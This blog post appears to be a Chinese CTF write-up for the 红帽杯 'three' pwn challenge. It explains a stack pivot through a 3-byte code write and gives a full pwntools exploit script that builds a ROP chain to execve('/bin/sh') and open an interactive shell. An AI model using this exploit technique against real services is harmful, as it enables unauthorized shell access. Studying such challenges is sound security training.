0%

红帽杯three

three

这道题我开始用了jmp ecx。。可能基础没打好吧,让我真正理解nx保护的就是这道了,为什么rop能绕过nx保护,因为rop利用的是ret一个地址,然后这个地址是本身存在代码的,而我那样是直接执行代码,错误的方式

漏洞点

3字节的任意代码执行,我想到了栈迁移,可是用的是jmp ecx,太菜了,技术不娴熟
这题有个小技巧,没开pie并且是写入bss段,所以/bin/sh可以自己写入后确认位置,所以直接execve(“/bin/sh”, NULL, NULL),基础rop的题目。。。

其中,该程序是 32 位,所以我们需要使得

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

然后ROPgadget搞下寄存器就好了
bin_sh用find找到

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import subprocess

local = 1
host = '127.0.0.1'
port = 10000
context.log_level = 'debug'
exe = './pwn'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
io = process(exe)
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))


# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def one_gadget(filename):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
#one_gadget = one_gadget(libc.path)



#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)

def exp():
sla(":", "3")
payload = asm('''
mov esp, ecx
ret
''')
sa("!", payload)
sla(":", 500)
gdb.attach(io, "finish\n finish\nn 5")
sh_addr = 0x080c777d
int80 = 0x08049903
pop_edx_ecx_ebx = 0x08072fb1
pop_eax = 0x080c11e6
shellcode = flat([
pop_eax,
0xb,
pop_edx_ecx_ebx,
0,
0,
0x80f6cdd,
int80
])


sl(shellcode + '\x00' + '/bin/sh\x00')


if __name__ == '__main__':
exp()
io.interactive()

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/633c637e/
版权声明:转载请注明出处!